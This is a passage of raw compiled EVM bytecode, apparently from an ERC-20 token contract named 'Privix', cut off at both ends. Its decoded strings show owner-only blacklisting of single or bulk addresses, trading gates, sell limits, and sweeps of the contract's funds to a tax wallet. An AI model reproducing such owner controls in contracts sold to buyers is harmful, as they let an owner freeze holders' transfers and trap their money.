348015610609575f5ffd5b50610624600480360381019061061f91906135ac565b611808565b6040516106319190613361565b60405180910390f35b348015610645575f5ffd5b50610660600480360381019061065b919061364b565b61188a565b005b34801561066d575f5ffd5b50610676611b90565b6040516106839190613361565b60405180910390f35b348015610697575f5ffd5b506106b260048036038101906106ad91906134f0565b611b9e565b6040516106bf9190613339565b60405180910390f35b60606040518060400160405280600681526020017f5072697669780000000000000000000000000000000000000000000000000000815250905090565b5f610718610711611bf0565b8484611bf7565b6001905092915050565b60115481565b5f610731611dba565b905090565b5f6009600a6107459190613804565b6301406f40610754919061384e565b905090565b5f610765848484611df5565b61082284610771611bf0565b61081d85604051806060016040528060288152602001614aa66028913960025f8b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6107d4611bf0565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546127c29092919063ffffffff16565b611bf7565b600190509392505050565b60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661086d611bf0565b73ffffffffffffffffffffffffffffffffffffffff161461088c575f5ffd5b5f61092a606461091c843073ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b81526004016108cf919061352a565b602060405180830381865afa1580156108ea573d5f5f3e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061090e91906138a3565b61281f90919063ffffffff16565b61289690919063ffffffff16565b90503073ffffffffffffffffffffffffffffffffffffffff1663a9059cbb61dead836040518363ffffffff1660e01b81526004016109699291906138ce565b6020604051808303815f875af1158015610985573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906109a99190613909565b505050565b5f6009905090565b6109be611bf0565b73ffffffffffffffffffffffffffffffffffffffff165f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a4b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a429061397e565b60405180910390fd5b610a53611280565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610ac0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ab7906139e6565b60405180910390fd5b3073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610b2e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b2590613a4e565b60405180910390fd5b60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610bbd576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bb490613ab6565b60405180910390fd5b60135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610c4c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c4390613b1e565b60405180910390fd5b60125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610cdb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cd290613b86565b60405180910390fd5b8060045f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055508173ffffffffffffffffffffffffffffffffffffffff167f6a12b3df6cba4203bd7fd06b816789f87de8c594299aed5717ae070fac781bac82604051610d759190613339565b60405180910390a25050565b60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610dc1611bf0565b73ffffffffffffffffffffffffffffffffffffffff1614610de0575f5ffd5b5f610dea30610f4d565b90505f811115610dfe57610dfd816128ed565b5b5f4790505f811115610e1457610e1381612c67565b5b5050565b5f5f5f5f5f5f600d5495504294505f600d5411610e35575f610e54565b600d548511610e44575f610e53565b600d5485610e529190613ba4565b5b5b9350610e5e611dba565b9250610e68612d3d565b91505f600d54118015610e7c575060095482115b15610ed2575f61070885610e909190613c04565b90505f610708600183610ea39190613c34565b610ead919061384e565b9050858111610ebc575f610ec9565b8581610ec89190613ba4565b5b92505050610ed6565b5f90505b909192939495565b60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610f1e611bf0565b73ffffffffffffffffffffffffffffffffffffffff1614610f3d575f5ffd5b5f479050610f4a81612c67565b50565b5f60015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b610f9b611bf0565b73ffffffffffffffffffffffffffffffffffffffff165f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611028576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161101f9061397e565b60405180910390fd5b6009600a6110369190613804565b6301406f40611045919061384e565b600e819055506009600a6110599190613804565b6301406f40611068919061384e565b600f819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6009600a61109d9190613804565b6301406f406110ac919061384e565b6040516110b99190613361565b60405180910390a1565b5f601360179054906101000a900460ff16905090565b600e5481565b60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661111f611bf0565b73ffffffffffffffffffffffffffffffffffffffff161461113e575f5ffd5b5f6111dc60646111ce848673ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401611181919061352a565b602060405180830381865afa15801561119c573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906111c091906138a3565b61281f90919063ffffffff16565b61289690919063ffffffff16565b90508273ffffffffffffffffffffffffffffffffffffffff1663a9059cbb60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16836040518363ffffffff1660e01b815260040161123a929190613cc2565b6020604051808303815f875af1158015611256573d5f5f3e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061127a9190613909565b50505050565b5f5f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600f5481565b60606040518060400160405280600681526020017f5072697669780000000000000000000000000000000000000000000000000000815250905090565b5f6112fd6112f6611bf0565b8484611df5565b6001905092915050565b60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611347611bf0565b73ffffffffffffffffffffffffffffffffffffffff1614611366575f5ffd5b60648211158015611378575060648111155b6113b7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113ae90613d33565b60405180910390fd5b81600881905550806009819055505050565b6113d1611bf0565b73ffffffffffffffffffffffffffffffffffffffff165f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461145e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114559061397e565b60405180910390fd5b80601360176101000a81548160ff0219169083151502179055507fcbf582a9d6e9ddd56c81310ec1f706de4bcb9aef51402cb305384c4a4e354e5d816040516114a79190613339565b60405180910390a150565b6114ba611bf0565b73ffffffffffffffffffffffffffffffffffffffff165f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611547576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161153e9061397e565b60405180910390fd5b3073ffffffffffffffffffffffffffffffffffffffff1663095ea7b360125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b81526004016115c39291906138ce565b6020604051808303815f875af11580156115df573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906116039190613909565b5060125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d719473061164c30610f4d565b5f5f611656611280565b426040518863ffffffff1660e01b815260040161167896959493929190613d8a565b60606040518083038185885af1158015611694573d5f5f3e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906116b99190613de9565b505050565b60105481565b6116cc611bf0565b73ffffffffffffffffffffffffffffffffffffffff165f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611759576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117509061397e565b60405180910390fd5b601360149054906101000a900460ff16156117a9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117a090613e83565b60405180910390fd5b6001601360166101000a81548160ff0219169083151502179055506001601360146101000a81548160ff02191690831515021790555043600c5f6101000a81548163ffffffff021916908363ffffffff16021790555042600d81905550565b5f60025f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b611892611bf0565b73ffffffffffffffffffffffffffffffffffffffff165f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461191f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119169061397e565b60405180910390fd5b5f5f90505b83839050811015611b8a575f84848381811061194357611942613ea1565b5b905060200201602081019061195891906134f0565b9050611962611280565b73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141580156119c957503073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614155b8015611a22575060055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614155b8015611a7b575060135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614155b8015611ad4575060125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614155b15611b7c578260045f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055508073ffffffffffffffffffffffffffffffffffffffff167f6a12b3df6cba4203bd7fd06b816789f87de8c594299aed5717ae070fac781bac84604051611b739190613339565b60405180910390a25b508080600101915050611924565b50505050565b5f611b99612d3d565b905090565b5f60045f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff169050919050565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611c65576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c5c90613f3e565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611cd3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611cca90613fcc565b60405180910390fd5b8060025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051611dad9190613361565b60405180910390a3505050565b5f5f600d5403611dcc575f9050611df2565b62015180600d54611ddd9190613c34565b421015611dec575f9050611df2565b60085490505b90565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611e63576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611e5a9061405a565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611ed1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611ec8906140e8565b60405180910390fd5b5f8111611f13576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f0a90614176565b60405180910390fd5b60045f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff1615611f9d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611f94906141de565b60405180910390fd5b60045f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff1615612027576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161201e90614246565b60405180910390fd5b5f5f9050612033611280565b73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16141580156120a15750612071611280565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b156125125760135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614801561214f575060125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156121a2575060035f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b156122f157601360169054906101000a900460ff166121f6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121ed906142ae565b60405180910390fd5b600e5482111561223b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161223290614316565b60405180910390fd5b5f612244611dba565b905061226c606461225e838661281f90919063ffffffff16565b61289690919063ffffffff16565b9150600f546122848385612ddb90919063ffffffff16565b61228d86610f4d565b6122979190613c34565b11156122d8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122cf9061437e565b60405180910390fd5b600b5f8154809291906122ea9061439c565b9190505550505b60135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614801561237957503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b156123b3575f612387612d3d565b90506123af60646123a1838661281f90919063ffffffff16565b61289690919063ffffffff16565b9150505b5f6123bd30610f4d565b9050601360159054906101000a900460ff16158015612428575060135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b80156124405750601360169054906101000a900460ff165b801561244d575060105481115b801561245c5750600a54600b54115b1561251057601554431115612473575f6014819055505b6004601454106124b8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016124af9061442d565b60405180910390fd5b60145f8154809291906124ca9061439c565b9190505550436015819055505f6124ec846124e784601154612e33565b612e33565b90506124f7816128ed565b5f4790505f81111561250d5761250c81612c67565b5b50505b505b5f8111156126115761256a8160015f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612e4b90919063ffffffff16565b60015f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516126089190613361565b60405180910390a35b6126618260015f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612ddb90919063ffffffff16565b60015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055506127046126b88284612ddb90919063ffffffff16565b60015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054612e4b90919063ffffffff16565b60015f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6127a78486612ddb90919063ffffffff16565b6040516127b49190613361565b60405180910390a350505050565b5f838311158290612809576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612800919061322c565b60405180910390fd5b5082846128169190613ba4565b90509392505050565b5f5f830361282f575f9050612890565b5f828461283c919061384e565b905082848261284b9190613c04565b1461288b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612882906144bb565b60405180910390fd5b809150505b92915050565b5f5f82116128d9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016128d090614523565b60405180910390fd5b81836128e59190613c04565b905092915050565b6001601360156101000a81548160ff021916908315150217905550601360159054906101000a900460ff1615612958576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161294f9061458b565b60405180910390fd5b5f811161299a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612991906145f3565b60405180910390fd5b601360179054906101000a900460ff1615612c3f575f6129d760646129c960148561281f90919063ffffffff16565b61289690919063ffffffff16565b90505f6129ee60028361289690919063ffffffff16565b90505f612a048285612ddb90919063ffffffff16565b90505f8103612a1557505050612c4a565b5f479050612a2282612ea8565b5f47905081811015612a69576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612a609061465b565b60405180910390fd5b5f612a7d8383612ddb90919063ffffffff16565b90505f5f90505f85118015612a9157505f86115b8015612a9c57505f82115b15612b3757857fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff612acd9190613c04565b821115612b0f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612b06906146c3565b60405180910390fd5b612b3485612b26888561281f90919063ffffffff16565b61289690919063ffffffff16565b90505b5f86118015612b4557505f81115b8015612b515750478111155b15612c3357612b823060125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1688611bf7565b60125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7198230895f5f612bcc611280565b426040518863ffffffff1660e01b8152600401612bee96959493929190613d8a565b60606040518083038185885af1158015612c0a573d5f5f3e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190612c2f9190613de9565b5050505b50505050505050612c49565b612c4881612ea8565b5b5b5f601360156101000a81548160ff02191690831515021790555050565b5f810315612d3a575f60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1682604051612cb59061470e565b5f6040518083038185875af1925050503d805f8114612cef576040519150601f19603f3d011682016040523d82523d5f602084013e612cf4565b606091505b5050905080612d38576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612d2f9061476c565b60405180910390fd5b505b50565b5f5f600d5403612d51576007549050612dd8565b5f600d544211612d61575f612d70565b600d5442612d6f9190613ba4565b5b90505f61070882612d819190613c04565b90505f600582612d91919061384e565b9050612daa600954600754612ddb90919063ffffffff16565b8110612dbd576009549350505050612dd8565b612dd281600754612ddb90919063ffffffff16565b93505050505b90565b5f82821115612e1f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612e16906147d4565b60405180910390fd5b8183612e2b9190613ba4565b905092915050565b5f818311612e415782612e43565b815b905092915050565b5f5f8284612e599190613c34565b905083811015612e9e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612e959061483c565b60405180910390fd5b8091505092915050565b5f8111612eea576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612ee1906148a4565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff1660125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1603612f79576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612f709061490c565b60405180910390fd5b5f600267ffffffffffffffff811115612f9557612f9461492a565b5b604051908082528060200260200182016040528015612fc35781602001602082028036833780820191505090505b50905030815f81518110612fda57612fd9613ea1565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505060125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561307e573d5f5f3e3d5ffd5b505050506040513d601f19601f820116820180604052508101906130a2919061496b565b816001815181106130b6576130b5613ea1565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061311c3060125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611bf7565b60125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac947835f843061012c4261316b9190613c34565b6040518663ffffffff1660e01b815260040161318b959493929190614a4d565b5f604051808303815f87803b1580156131a2575f5ffd5b505af11580156131b4573d5f5f3e3d5ffd5b505050505050565b5f81519050919050565b5f82825260208201905092915050565b8281835e5f83830152505050565b5f601f19601f8301169050919050565b5f6131fe826131bc565b61320881856131c6565b93506132188185602086016131d6565b613221816131e4565b840191505092915050565b5f6020820190508181035f83015261324481846131f4565b905092915050565b5f5ffd5b5f5ffd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f61327d82613254565b9050919050565b61328d81613273565b8114613297575f5ffd5b50565b5f813590506132a881613284565b92915050565b5f819050919050565b6132c0816132ae565b81146132ca575f5ffd5b50565b5f813590506132db816132b7565b92915050565b5f5f604083850312156132f7576132f661324c565b5b5f6133048582860161329a565b9250506020613315858286016132cd565b9150509250929050565b5f8115159050919050565b6133338161331f565b82525050565b5f60208201905061334c5f83018461332a565b92915050565b61335b816132ae565b82525050565b5f6020820190506133745f830184613352565b92915050565b5f5f5f606084860312156133915761339061324c565b5b5f61339e8682870161329a565b93505060206133af8682870161329a565b92505060406133c0868287016132cd565b9150509250925092565b5f602082840312156133df576133de61324c565b5b5f6133ec848285016132cd565b91505092915050565b5f60ff82169050919050565b61340a816133f5565b82525050565b5f6020820190506134235f830184613401565b92915050565b6134328161331f565b811461343c575f5ffd5b50565b5f8135905061344d81613429565b92915050565b5f5f604083850312156134695761346861324c565b5b5f6134768582860161329a565b92505060206134878582860161343f565b9150509250929050565b5f60c0820190506134a45f830189613352565b6134b16020830188613352565b6134be6040830187613352565b6134cb6060830186613352565b6134d86080830185613352565b6134e560a0830184613352565b979650505050505050565b5f602082840312156135055761350461324c565b5b5f6135128482850161329a565b91505092915050565b61352481613273565b82525050565b5f60208201905061353d5f83018461351b565b92915050565b5f5f604083850312156135595761355861324c565b5b5f613566858286016132cd565b9250506020613577858286016132cd565b9150509250929050565b5f602082840312156135965761359561324c565b5b5f6135a38482850161343f565b91505092915050565b5f5f604083850312156135c2576135c161324c565b5b5f6135cf8582860161329a565b92505060206135e08582860161329a565b9150509250929050565b5f5ffd5b5f5ffd5b5f5ffd5b5f5f83601f84011261360b5761360a6135ea565b5b8235905067ffffffffffffffff811115613628576136276135ee565b5b602083019150836020820283011115613644576136436135f2565b5b9250929050565b5f5f5f604084860312156136625761366161324c565b5b5f84013567ffffffffffffffff81111561367f5761367e613250565b5b61368b868287016135f6565b9350935050602061369e8682870161343f565b9150509250925092565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f5f8291508390505b600185111561372a57808604811115613706576137056136a8565b5b60018516156137155780820291505b8081029050613723856136d5565b94506136ea565b94509492505050565b5f8261374257600190506137fd565b8161374f575f90506137fd565b8160018114613765576002811461376f5761379e565b60019150506137fd565b60ff841115613781576137806136a8565b5b8360020a915084821115613798576137976136a8565b5b506137fd565b5060208310610133831016604e8410600b84101617156137d35782820a9050838111156137ce576137cd6136a8565b5b6137fd565b6137e084848460016136e1565b925090508184048111156137f7576137f66136a8565b5b81810290505b9392505050565b5f61380e826132ae565b9150613819836133f5565b92506138467fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484613733565b905092915050565b5f613858826132ae565b9150613863836132ae565b9250828202613871816132ae565b91508282048414831517613888576138876136a8565b5b5092915050565b5f8151905061389d816132b7565b92915050565b5f602082840312156138b8576138b761324c565b5b5f6138c58482850161388f565b91505092915050565b5f6040820190506138e15f83018561351b565b6138ee6020830184613352565b9392505050565b5f8151905061390381613429565b92915050565b5f6020828403121561391e5761391d61324c565b5b5f61392b848285016138f5565b91505092915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f6139686020836131c6565b915061397382613934565b602082019050919050565b5f6020820190508181035f8301526139958161395c565b9050919050565b7f43616e6e6f7420626c61636b6c697374206f776e6572000000000000000000005f82015250565b5f6139d06016836131c6565b91506139db8261399c565b602082019050919050565b5f6020820190508181035f8301526139fd816139c4565b9050919050565b7f43616e6e6f7420626c61636b6c69737420636f6e7472616374000000000000005f82015250565b5f613a386019836131c6565b9150613a4382613a04565b602082019050919050565b5f6020820190508181035f830152613a6581613a2c565b9050919050565b7f43616e6e6f7420626c61636b6c697374207461782077616c6c657400000000005f82015250565b5f613aa0601b836131c6565b9150613aab82613a6c565b602082019050919050565b5f6020820190508181035f830152613acd81613a94565b9050919050565b7f43616e6e6f7420626c61636b6c697374207061697200000000000000000000005f82015250565b5f613b086015836131c6565b9150613b1382613ad4565b602082019050919050565b5f6020820190508181035f830152613b3581613afc565b9050919050565b7f43616e6e6f7420626c61636b6c69737420726f757465720000000000000000005f82015250565b5f613b706017836131c6565b9150613b7b82613b3c565b602082019050919050565b5f6020820190508181035f830152613b9d81613b64565b9050919050565b5f613bae826132ae565b9150613bb9836132ae565b9250828203905081811115613bd157613bd06136a8565b5b92915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f613c0e826132ae565b9150613c19836132ae565b925082613c2957613c28613bd7565b5b828204905092915050565b5f613c3e826132ae565b9150613c49836132ae565b9250828201905080821115613c6157613c606136a8565b5b92915050565b5f819050919050565b5f613c8a613c85613c8084613254565b613c67565b613254565b9050919050565b5f613c9b82613c70565b9050919050565b5f613cac82613c91565b9050919050565b613cbc81613ca2565b82525050565b5f604082019050613cd55f830185613cb3565b613ce26020830184613352565b9392505050565b7f696e76616c6964000000000000000000000000000000000000000000000000005f82015250565b5f613d1d6007836131c6565b9150613d2882613ce9565b602082019050919050565b5f6020820190508181035f830152613d4a81613d11565b9050919050565b5f819050919050565b5f613d74613d6f613d6a84613d51565b613c67565b6132ae565b9050919050565b613d8481613d5a565b82525050565b5f60c082019050613d9d5f83018961351b565b613daa6020830188613352565b613db76040830187613d7b565b613dc46060830186613d7b565b613dd1608083018561351b565b613dde60a0830184613352565b979650505050505050565b5f5f5f60608486031215613e0057613dff61324c565b5b5f613e0d8682870161388f565b9350506020613e1e8682870161388f565b9250506040613e2f8682870161388f565b9150509250925092565b7f74726164696e6720697320616c7265616479206f70656e0000000000000000005f82015250565b5f613e6d6017836131c6565b9150613e7882613e39565b602082019050919050565b5f6020820190508181035f830152613e9a81613e61565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f613f286024836131c6565b9150613f3382613ece565b604082019050919050565b5f6020820190508181035f830152613f5581613f1c565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f613fb66022836131c6565b9150613fc182613f5c565b604082019050919050565b5f6020820190508181035f830152613fe381613faa565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f2061645f8201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b5f6140446025836131c6565b915061404f82613fea565b604082019050919050565b5f6020820190508181035f83015261407181614038565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f20616464725f8201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b5f6140d26023836131c6565b91506140dd82614078565b604082019050919050565b5f6020820190508181035f8301526140ff816140c6565b9050919050565b7f5472616e7366657220616d6f756e74206d7573742062652067726561746572205f8201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b5f6141606029836131c6565b915061416b82614106565b604082019050919050565b5f6020820190508181035f83015261418d81614154565b9050919050565b7f53656e64657220697320626c61636b6c697374656400000000000000000000005f82015250565b5f6141c86015836131c6565b91506141d382614194565b602082019050919050565b5f6020820190508181035f8301526141f5816141bc565b9050919050565b7f526563697069656e7420697320626c61636b6c697374656400000000000000005f82015250565b5f6142306018836131c6565b915061423b826141fc565b602082019050919050565b5f6020820190508181035f83015261425d81614224565b9050919050565b7f74726164696e67206973206e6f74206f70656e000000000000000000000000005f82015250565b5f6142986013836131c6565b91506142a382614264565b602082019050919050565b5f6020820190508181035f8301526142c58161428c565b9050919050565b7f4578636565647320746865205f6d61785478416d6f756e742e000000000000005f82015250565b5f6143006019836131c6565b915061430b826142cc565b602082019050919050565b5f6020820190508181035f83015261432d816142f4565b9050919050565b7f4578636565647320746865206d617857616c6c657453697a652e0000000000005f82015250565b5f614368601a836131c6565b915061437382614334565b602082019050919050565b5f6020820190508181035f8301526143958161435c565b9050919050565b5f6143a6826132ae565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82036143d8576143d76136a8565b5b600182019050919050565b7f4f6e6c7920342073656c6c732070657220626c6f636b210000000000000000005f82015250565b5f6144176017836131c6565b9150614422826143e3565b602082019050919050565b5f6020820190508181035f8301526144448161440b565b9050919050565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f5f8201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b5f6144a56021836131c656